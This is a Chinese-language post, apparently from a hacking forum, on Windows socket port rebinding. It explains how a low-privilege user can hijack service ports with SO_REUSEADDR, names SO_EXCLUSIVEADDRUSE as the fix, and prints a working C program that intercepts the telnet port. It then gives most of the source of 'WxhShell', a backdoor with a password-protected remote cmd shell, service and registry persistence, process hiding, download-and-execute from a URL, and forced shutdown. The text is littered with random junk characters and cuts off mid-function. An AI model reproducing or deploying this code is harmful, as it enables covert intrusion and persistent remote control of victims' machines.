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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: uG\~Hxqw7O s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `#$}P;W \:;MFG' saddr.sin_family = AF_INET; irQ'Rm[ JY saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~/G)z?+E AERJ]$\
bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )'kpO> _G _V$'nz#>e 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4<Vi`X7[F M
FIb-*wT 这意味着什么?意味着可以进行如下的攻击: V}V->j* vK!`#W`X 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 necY/&Ld- 2iNLm6" 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W{;Qi&^ca ~YH?wdT 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E`TZ:W]r, @6UtnX'd 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 c~hH
7/v _r-LX" 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G|,&V0* v +4v 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $0[T<]{/? vx9!KWy} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y`RzcXblIZ /V,xSK9.& #include +@ChZ #include ^BF}wQb:j #include 1h@qcom9K_ #include u[)X="-e# DWORD WINAPI ClientThread(LPVOID lpParam); =7V4{|ESfy int main() k'iiRRM { k>ErDv8 WORD wVersionRequested; kx&JY9( DWORD ret; SRfh{u WSADATA wsaData; eu5te0{G BOOL val; GDLi?3q SOCKADDR_IN saddr; }{F)Ren SOCKADDR_IN scaddr; eC5*Q=ai, int err; ZuGSR GX' SOCKET s; PtkMzhX SOCKET sc; e_b,{l# int caddsize; +Q+O$-a< HANDLE mt; o"JHB DWORD tid; /<-PW9X? wVersionRequested = MAKEWORD( 2, 2 ); 44e]sT.B err = WSAStartup( wVersionRequested, &wsaData ); |!(8c>]Bo if ( err != 0 ) { Fu.aV876\f printf("error!WSAStartup failed!\n"); yu6~:$%H return -1; THwM',6 } N[
=I saddr.sin_family = AF_INET; 0#NMNZ
eP2Q2C8g //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !EIH"`>! r $S9/ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [j@ek saddr.sin_port = htons(23); h.tj8O1 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^X&`YXjuN { 3.YH7rN
printf("error!socket failed!\n"); c^= q(V return -1; n@`3O'S } R"OT&:0/ val = TRUE; 7Q/H+) //SO_REUSEADDR选项就是可以实现端口重绑定的 \!-]$&,j4 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1le9YL1_g { #N`'hPD} printf("error!setsockopt failed!\n"); @zS/J,:v} return -1; *{?2M6Z } 6Y [&1c8 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N,w6 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J.rS@Z`~7 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |!K&h(J| |6NvByc, if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :vi %7 { ]/!*^;cY( ret=GetLastError(); L^e*_q2d:> printf("error!bind failed!\n"); 2>"{El|PbN return -1; HV!P]82Pa } .:H'9QJg listen(s,2); %;4#?.W8 while(1) TJNE2 { "|i1 AR:I caddsize = sizeof(scaddr); 5S? "<+J' //接受连接请求 08:K9zr sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yHM29fEZk if(sc!=INVALID_SOCKET) x/1FQ>n:9 { cMi9 Z] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `T[yyOL/ if(mt==NULL) [vtDtwL { 5M\0t\uEn printf("Thread Creat Failed!\n"); Mxz
X@GBX break; ,~;`@ } 36'J9h\ } rKPsv*w CloseHandle(mt); }c/#WA|b } lJa-O closesocket(s); _`Kh8G
{e WSACleanup(); ~b8.]Z^ return 0; BfCib]V9C } =SJ[)| DWORD WINAPI ClientThread(LPVOID lpParam) |QzJHP @ { ,=!s;+lu{ SOCKET ss = (SOCKET)lpParam; -C^qN7Bz SOCKET sc; .~'q
yD2V unsigned char buf[4096]; >`30 ib SOCKADDR_IN saddr; NO*~C',cI/ long num; ^ &KH|qRrO DWORD val; R7Tl1!,h DWORD ret; fo}@B&=4 //如果是隐藏端口应用的话,可以在此处加一些判断 LzXIqj'H7T //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Ql7opl,
saddr.sin_family = AF_INET; FIn)O-< saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ve#[LBOC8 saddr.sin_port = htons(23); 0jpyc if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;F_&h#D]3 { ?{Xp'D\z printf("error!socket failed!\n"); s5 Fn("h]n return -1; yPbOiA*lHz } L%9yFg%u val = 100; avS9 "e if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gKU*@`6G { jbOzbxR? ret = GetLastError(); 'H1"z!] return -1; +$~HRbo } AO$aW yI if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^1}ffE(3> { !oV' ret = GetLastError(); b(ryk./ogx return -1; Vfw +m1sS } [-[|4|CnOm if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fv3)#>Dgp> { /7*qa G printf("error!socket connect failed!\n"); [0+5 Gx closesocket(sc); zJ0'KHF}o closesocket(ss); 8/34{2048 return -1; *7Sg8\wDn } gp'n'K] while(1) `0ju=FP'u5 { A&'HlI%J //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F0NNS!WP7^ //如果是嗅探内容的话,可以再此处进行内容分析和记录 (aCl*vV1 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L3Q1az!Ct num = recv(ss,buf,4096,0); _Q;M$.[zyR if(num>0) CQY/q@7 send(sc,buf,num,0); $PbN=@ else if(num==0) Y@'1}=`J break; "ZVBn!
num = recv(sc,buf,4096,0); }\ui}\ if(num>0) ^?[^o\/@R send(ss,buf,num,0); eWx6$_| else if(num==0) VA'< break; b OmM~pD } H+2J.&Ch closesocket(ss);
K[TMTn closesocket(sc); ;v+CQx return 0 ; 7e#|=e
*I! } 5p{tt;9[ Hp> J,m(* u=
+ ========================================================== f<'&_*7,|t ;/{Q4X{ 下边附上一个代码,,WXhSHELL 4_I,wG@ VF==F_l ========================================================== lR^dT4 z8"=W,2 #include "stdafx.h" |V~P6o(/ kAk,:a;P #include <stdio.h> GrQAho #include <string.h> <db/. A3 #include <windows.h> Mw5!9@Fc7 #include <winsock2.h> E[Io8|QA #include <winsvc.h> %J%gXk}] #include <urlmon.h> d`nS0Tf' TuCOoz@d #pragma comment (lib, "Ws2_32.lib") 6nSk,yE'hE #pragma comment (lib, "urlmon.lib") w)8@Tu:Q +ow
^xiD #define MAX_USER 100 // 最大客户端连接数 ~O
6~',KD #define BUF_SOCK 200 // sock buffer K6oXnz} #define KEY_BUFF 255 // 输入 buffer @x J^JcE +`Bn]e8O #define REBOOT 0 // 重启 n_ez6{ #define SHUTDOWN 1 // 关机 GRV9s9^ :3n.nKANr #define DEF_PORT 5000 // 监听端口 a@r K%Iff D3lYy>~d5; #define REG_LEN 16 // 注册表键长度 80]TKf> #define SVC_LEN 80 // NT服务名长度 kWz%v rqh,BkQ0t // 从dll定义API QBn>@jq typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *wF:Q;_<z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X9gC2iSs] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EhUy7b,1_ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tr/dd&(Y1 O`0$pn // wxhshell配置信息 r;T/ struct WSCFG { #f~a\}$I int ws_port; // 监听端口 l{a&Zy) char ws_passstr[REG_LEN]; // 口令 KE&}*Nf[ int ws_autoins; // 安装标记, 1=yes 0=no "=n8PNV/
c char ws_regname[REG_LEN]; // 注册表键名 ,"VQ0Z1 char ws_svcname[REG_LEN]; // 服务名 .M{[J]H`t char ws_svcdisp[SVC_LEN]; // 服务显示名 rlIEch^wZ char ws_svcdesc[SVC_LEN]; // 服务描述信息
n1/lE) char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #rr-4$w+ int ws_downexe; // 下载执行标记, 1=yes 0=no zB$6e!fc char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" *pD;AU char ws_filenam[SVC_LEN]; // 下载后保存的文件名 td&l T(7 GDB>!ukg }; u.=;A# 9h(hx7] // default Wxhshell configuration y&Hh8|'mC struct WSCFG wscfg={DEF_PORT, !m|%4/
M@ "xuhuanlingzhe", L-R}O
8 1, {|E7N"Qzg "Wxhshell", m8PB2h "Wxhshell", w1_Ux<RF "WxhShell Service", nu<!/O "Wrsky Windows CmdShell Service", Mv=cLG?X "Please Input Your Password: ", zNf5OItx 1, @#tSx " http://www.wrsky.com/wxhshell.exe", KxwLKaImI "Wxhshell.exe" \8D~,$,``| }; ,AM-cwwT:u eFI4(Y // 消息定义模块 8!SiTOzR? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~`E4E char *msg_ws_prompt="\n\r? for help\n\r#>"; 2AW{qwk7 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; uP]o39b;V char *msg_ws_ext="\n\rExit."; }aM`Jp-O char *msg_ws_end="\n\rQuit."; 3@?YTez# char *msg_ws_boot="\n\rReboot..."; !S-U8KI| char *msg_ws_poff="\n\rShutdown..."; [ d7]&i}*| char *msg_ws_down="\n\rSave to "; 1[`<JCFClc N=wy)+ char *msg_ws_err="\n\rErr!"; hFfaaB char *msg_ws_ok="\n\rOK!"; KgWT&^t p ri{vveN@ char ExeFile[MAX_PATH]; =3C)sz} int nUser = 0; Zwns|23n HANDLE handles[MAX_USER]; 'e64%t int OsIsNt; ~(/HgFLLu lh_zZ!)g SERVICE_STATUS serviceStatus; I7^X;Q
F SERVICE_STATUS_HANDLE hServiceStatusHandle; k&s7-yY Fd&!-`T? // 函数声明 PZJ
4:h int Install(void); 5qSZ>DZ int Uninstall(void); CHit
int DownloadFile(char *sURL, SOCKET wsh); E57{*C int Boot(int flag); 1<`7MN void HideProc(void); p\;)^O4 int GetOsVer(void); ~J{[]wi int Wxhshell(SOCKET wsl); WUS9zK void TalkWithClient(void *cs); m@u`$rOh int CmdShell(SOCKET sock); E_1I|$ int StartFromService(void); i?dKmRp(@y int StartWxhshell(LPSTR lpCmdLine); O
f @#VZ {dXBXC/Ju VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mS}x2& VOID WINAPI NTServiceHandler( DWORD fdwControl ); `j}d=zZ b|o!&9Yyr // 数据结构和表定义 TeCpT2!5j SERVICE_TABLE_ENTRY DispatchTable[] = !gfhEzY { _C,@eu"9V {wscfg.ws_svcname, NTServiceMain}, f\U&M,L\' {NULL, NULL} UH-uU~ }; {FY[|:Cp 2\B9o `Y // 自我安装 A=d$ir
K[ int Install(void) 6H,=S`V]EK { /JubiLEK char svExeFile[MAX_PATH]; YQdX>k HKEY key; $YY)g$ strcpy(svExeFile,ExeFile); X/K)kIi 'Sy *'& // 如果是win9x系统,修改注册表设为自启动 \Fg6b6 if(!OsIsNt) { #x@lZ! Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { etMh=/NFV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2qMsa>~ RegCloseKey(key); IKzRM|/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8{SU?MHQLE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G? gXK W RegCloseKey(key); D *I;|.=u return 0; 355Sd;* } cgxFEv } auTTvJ } 'Rd*X6dv else { f
H|QAMfOu <!}l~Ln15 // 如果是NT以上系统,安装为系统服务 a<wQzgxG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FEZ"\|I| if (schSCManager!=0) +VLe'| { F0'A/T'ht SC_HANDLE schService = CreateService 9Jy2T/l ( L@n6N|[_ schSCManager, @U3foL2\ wscfg.ws_svcname, k;_KKvQ wscfg.ws_svcdisp, ,o@~OTja* SERVICE_ALL_ACCESS, 27E9NO= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,' rL'Ys SERVICE_AUTO_START, \y H3Y SERVICE_ERROR_NORMAL, ;s\;78`0 svExeFile,
-N7L#a NULL, 3R%UPT0> NULL, #>m,
Cm NULL, ;[KriW NULL, `o8{qU,*]N NULL q
X%vRf0 );
n~)HfY if (schService!=0) rH&r6Xv[ { %:w% o$ CloseServiceHandle(schService); "4ozlWx CloseServiceHandle(schSCManager); s w.AfRQP strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EhIV(q9x strcat(svExeFile,wscfg.ws_svcname); 0YpiHoM if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Yl&tkSw46 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FfxX)p1t RegCloseKey(key); IFrb}yH return 0; GtM(
Y } 7}'A)C>J; } Vvyrty CloseServiceHandle(schSCManager); 33<fN:J]f } `!omzE*bk5 } ?l,
X!o6 qH
h'l;. return 1; 0i*'N ch#i } w~$c= JO# ewAH'H]o // 自我卸载 ~S^X"8(U int Uninstall(void) `o_fUOe8a { juCG?}di; HKEY key; XnE
%$NJ 9jMC|oE if(!OsIsNt) { OS"{"P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^s2m\Q( RegDeleteValue(key,wscfg.ws_regname); _[TH@fO6: RegCloseKey(key); 'o/N}E!Pt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [EmOA.6 RegDeleteValue(key,wscfg.ws_regname); 1J-Qh<Q RegCloseKey(key); C'-zh\a return 0; L`jB)wF/J } aI={,\ } $K?T=a;z
} S~k 0@ else { %9QMzz5 9P7xoXJ@y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;v,9v;T if (schSCManager!=0) Jm %ynW { i!Dh&XT SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !_U37Uj<m if (schService!=0) [arTx^ { Hz]4A S if(DeleteService(schService)!=0) { *bCi2mbm@ CloseServiceHandle(schService); 5@ bc(H CloseServiceHandle(schSCManager); c{mKra return 0; >P\h,1 } A,m4WO_q3 CloseServiceHandle(schService); &0+x2e)7g } YgfSC}a CloseServiceHandle(schSCManager); ~*7O(8 } Jt2,LL:G } /lLov. Vl{~@G, @ return 1; 8"km_[JE e } c$Xe.:QY k-WHHoU>o // 从指定url下载文件 Qj
6gg int DownloadFile(char *sURL, SOCKET wsh) cc|CC
Zl { *.m{jgi1X HRESULT hr; r"{Is?yKe char seps[]= "/"; 6kt]`H`cfJ char *token; \}$*}gW[} char *file; RDs,sj/Y9? char myURL[MAX_PATH]; Y&vHOA char myFILE[MAX_PATH]; mb0n}I_AC Ky[bX strcpy(myURL,sURL); kqVg2#<@M token=strtok(myURL,seps); 8^/+wa+G while(token!=NULL) cT-K@dg { 3yTQ file=token; @72x`&|I?u token=strtok(NULL,seps); 6IEUJ-M Z } ycgfZ 3K L]k*QIn:h GetCurrentDirectory(MAX_PATH,myFILE); N9i}p^F<_ strcat(myFILE, "\\"); 5%<TF.;-J strcat(myFILE, file); 7$(_j<o` send(wsh,myFILE,strlen(myFILE),0); 'FShNY5 send(wsh,"...",3,0); t|;%DA)fjw hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j\2]M if(hr==S_OK) 44|deE3Z return 0; 2?GXkPF2;A else bnijM/73 return 1; wL'oImE C
_8j:Z& } 2Sge ?VwK2w$&={ // 系统电源模块 `FUFK/7
w\ int Boot(int flag) DVObrL)znL { S?*^>Y-e; HANDLE hToken; ( "_Q TOKEN_PRIVILEGES tkp; !xkj30O(G EVR! @6@ if(OsIsNt) { sf Dg/ a OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &&;ex9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P?^JPbfV tkp.PrivilegeCount = 1; mT96]V\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eh$G.-2N AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XjX 2[*l if(flag==REBOOT) { +x(YG(5\w if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aSRjFL^ return 0; ^~^mR#<P$ } %VzYqj_P" else { \WWG>OUh.U if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z4CJn[m9 return 0; BS N6|W } aT&t_^[] } GF&_~48GD else { XmP;L(wa if(flag==REBOOT) { S#,+Z7 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F
y b[{" return 0; xXO RIlD } iwUv`>l& else { PmHd9^C if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]de\i=?| return 0; Ujf,6=M } /K f L+"^| } iBucT"d] 5i6VZv return 1; T-^0:@5o9 } '?5S"?? +6
ho)YL // win9x进程隐藏模块 U<Vy>gIC void HideProc(void) X1Qr_o-BR { ThtMRB)9 mIvnz{_d HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C?/r; if ( hKernel != NULL ) YUCC*t { <P-$RX pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q |%-9^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C ck#Y FreeLibrary(hKernel); Y.7} } MZ WmlJ w^ 3|(F return; ?b56AE } p+$+MeBz &Y+e=1a+ // 获取操作系统版本 QCWf.@n int GetOsVer(void) wZQ)jo7*g { ^_sQG OSVERSIONINFO winfo; 0Q7MM6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sdrWOq GetVersionEx(&winfo); rS4%$p" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (Ux[[ return 1; [,rn3C A else (Izf
L1 return 0; %yfE7UPS] } iUTU*El>
f~q4{ // 客户端句柄模块 L"^OdpOs int Wxhshell(SOCKET wsl) k=`$6(>Fz { "CBRPp SOCKET wsh; #BsW struct sockaddr_in client; P].eAAXnP DWORD myID; `kFiH*5 %z r_^)1w while(nUser<MAX_USER) Tpb"uBiXoo { E~qQai=] int nSize=sizeof(client); grspt} wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t{zBC?cR if(wsh==INVALID_SOCKET) return 1; *jE;9^ h48YDWwy handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [X<Pk if(handles[nUser]==0) ;g+]klR! closesocket(wsh); z6I% wh else d*2u}1Jo8 nUser++; 0\Y1}C } DHv2&zH WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^^U%cu Kg pM9yOY return 0; ;}K62LSR } -%,"iaO IXWQ) // 关闭 socket 6WeM rWx void CloseIt(SOCKET wsh) {jW%P="z$" { p?JQ[K7i closesocket(wsh); f!x[ln< nUser--; m'bi\1Q ExitThread(0); *C7F2o } doR4nRl9 '#q4Bc1 // 客户端请求句柄 bY)#v? void TalkWithClient(void *cs) 45<y{8 {
DkdL#sV 'mE^5K SOCKET wsh=(SOCKET)cs; cDIBDC char pwd[SVC_LEN]; 6e.[,-eU char cmd[KEY_BUFF]; APq7 f8t char chr[1]; E{%SR int i,j; U*\17YU6h YG`?o while (nUser < MAX_USER) { kAo.C Nj7 o_$&XNC_ if(wscfg.ws_passstr) { ($8t%jVWJJ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {[W(a<%bXm //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]Lm'RlV //ZeroMemory(pwd,KEY_BUFF); 8EI:(NE*J i=0; "%@v++4y while(i<SVC_LEN) {
X{\jK]O ),`8eQC // 设置超时 v+6e;xl8 fd_set FdRead;
z)w-N struct timeval TimeOut; orqJ[!u)` FD_ZERO(&FdRead); y'
[LNp V FD_SET(wsh,&FdRead); cU8x Upq TimeOut.tv_sec=8; <cj{Qk TimeOut.tv_usec=0; Ryv_1gR! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0` 5e if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u-:Ic.ZV 'SV7$,mK@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "r$/
pwd =chr[0]; )];aI A$ if(chr[0]==0xd || chr[0]==0xa) { tJ'iX>9I pwd=0; snC/H G7 break; FnE6?~xa
} G3a7`CD i++; 5jZiJw( } E ]f)Os$ D(\$i.,b2 // 如果是非法用户,关闭 socket Bm /YgQi if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r,;\/^ u* } xaW{I7FfG i=rH7k send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .<YcSG send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8@eOTzm v"!4JZ%K while(1) { *eb-rhCVn >cgpaj x* ZeroMemory(cmd,KEY_BUFF); tJU-<{8 rQr!R$t/[ // 自动支持客户端 telnet标准 ,Eu?JH&}u j=0; U(,.D}PG while(j<KEY_BUFF) { :_HF j.JW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7lA:)a_!] cmd[j]=chr[0]; `hUHel;6 if(chr[0]==0xa || chr[0]==0xd) { @D[`Oj) cmd[j]=0; /X#z*GX break; \TbVS8e^ } )(TAT< j++; G;1?<3 } ;Gd~YGW^# [po "To // 下载文件 4 b,N8 if(strstr(cmd,"http://")) { 2?DRLF] send(wsh,msg_ws_down,strlen(msg_ws_down),0); {x@|VuL=
if(DownloadFile(cmd,wsh)) xDjV`E] send(wsh,msg_ws_err,strlen(msg_ws_err),0); T?wzwGp-[ else |"Z{I3Umg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <+tD z ( } Adx`8}N8 else { $/Ov2z VW<0Lt3 switch(cmd[0]) { (.23rVvnT@ j.|U=)E // 帮助 ,D=fFpn case '?': { caq} &A]C send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tef^ShF] break;
QG3&p< } )^x K // 安装 vhgLcrn case 'i': { {C3Y7< if(Install()) T@YGB]*Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); h{'t5&yY else }NCL>l;q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -x*2t;%z{U break; B\CN<<N>dD } o\=n4;S // 卸载 HdX2YPYn; case 'r': { 8%:]W^ if(Uninstall()) zm#nV
Y` send(wsh,msg_ws_err,strlen(msg_ws_err),0); .\:J~( else $xgBKD send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \'v(Xp6 break; Z-X?JA\& } {?8B,G2r // 显示 wxhshell 所在路径 {eT.SO case 'p': { I 3$dVls} char svExeFile[MAX_PATH]; TO#Pz.)>B6 strcpy(svExeFile,"\n\r"); .~D>5 JnEk strcat(svExeFile,ExeFile); !8Rw O%c( send(wsh,svExeFile,strlen(svExeFile),0); I4c!m_sr break; <L0#O(L } r4XH = // 重启 G|
m4m. case 'b': { H9 tXSh send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A\sI<WrH if(Boot(REBOOT)) 7hw .B'7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 04@cLDX8uB else { RHY4P4B<v> closesocket(wsh); 9
c3E+ ExitThread(0); AMCyj`Ur } L>9R4:g break; ip:LcG t } S4o$t-9l // 关机 h2q/mi5{ case 'd': { >Aq:K^D/3F send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zJN7<sv if(Boot(SHUTDOWN)) aX6}6zubr send(wsh,msg_ws_err,strlen(msg_ws_err),0); KY9n2u&4 else { =:I+6PlF@ closesocket(wsh); ,xi({{L* ExitThread(0); \XzM^K3 } _^ |2}t break; [k%4eO2p " } ,<Kx{+ [h // 获取shell 3iNkoBCg case 's': { f'Mop= . CmdShell(wsh); zGo|JF closesocket(wsh); K\?]$dK5 ExitThread(0); K7)kS break; k;^
: } uE5X~ // 退出 P:xT0gtt case 'x': { hpbf&S4 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8Cx^0 CloseIt(wsh); 1Y j~fb( break; YK#fa2ng } Dl\` // 离开 b1?xeG# case 'q': { |V,<+BEi send(wsh,msg_ws_end,strlen(msg_ws_end),0); *f+: <=i closesocket(wsh); /bRg?Q WSACleanup(); @x&P9M0g exit(1); E,[xUz" break; &(pjqV } Lxl_"kG } HL K@xKD< } _8?o'<!8?^ =r.
>N\ // 提示信息 6;b9swmh if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gu0 ,)jy\ } ?}P5p^6 } cntco@ Hf gz02Z$ return; b7:0#l$ } V|D]M{O X@A1#z+s0] // shell模块句柄 olux6RP[B int CmdShell(SOCKET sock) }?8uH/+ZA { Fj
p.T; STARTUPINFO si; JCniN";r[ ZeroMemory(&si,sizeof(si)); 9WG{p[ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vIGw6BJI si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T]9\VW4 PROCESS_INFORMATION ProcessInfo; es:2M |#O char cmdline[]="cmd"; 6QQfQ, CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tOl e>] return 0; u{H?4|'( } !
NV#U *?p|F&J // 自身启动模式 z_|oCT!6 int StartFromService(void) 5z$,6T { i'/m4 !>h typedef struct 2h=%K/hhY { HfNDD|Zz DWORD ExitStatus; ^ZRYRA DWORD PebBaseAddress; uzr\oj+> DWORD AffinityMask; J;Rv ~<7 DWORD BasePriority; Zo-$z8 ULONG UniqueProcessId; },$0&/>ft ULONG InheritedFromUniqueProcessId; ,L>
ar)B } PROCESS_BASIC_INFORMATION; 7;:#;YSha ,T,:-E PROCNTQSIP NtQueryInformationProcess; si4-3eC .d<W`%[ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S56]?M|[ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "\%On > %r{3wH#D@ HANDLE hProcess; mB'3N;~ PROCESS_BASIC_INFORMATION pbi; jdA
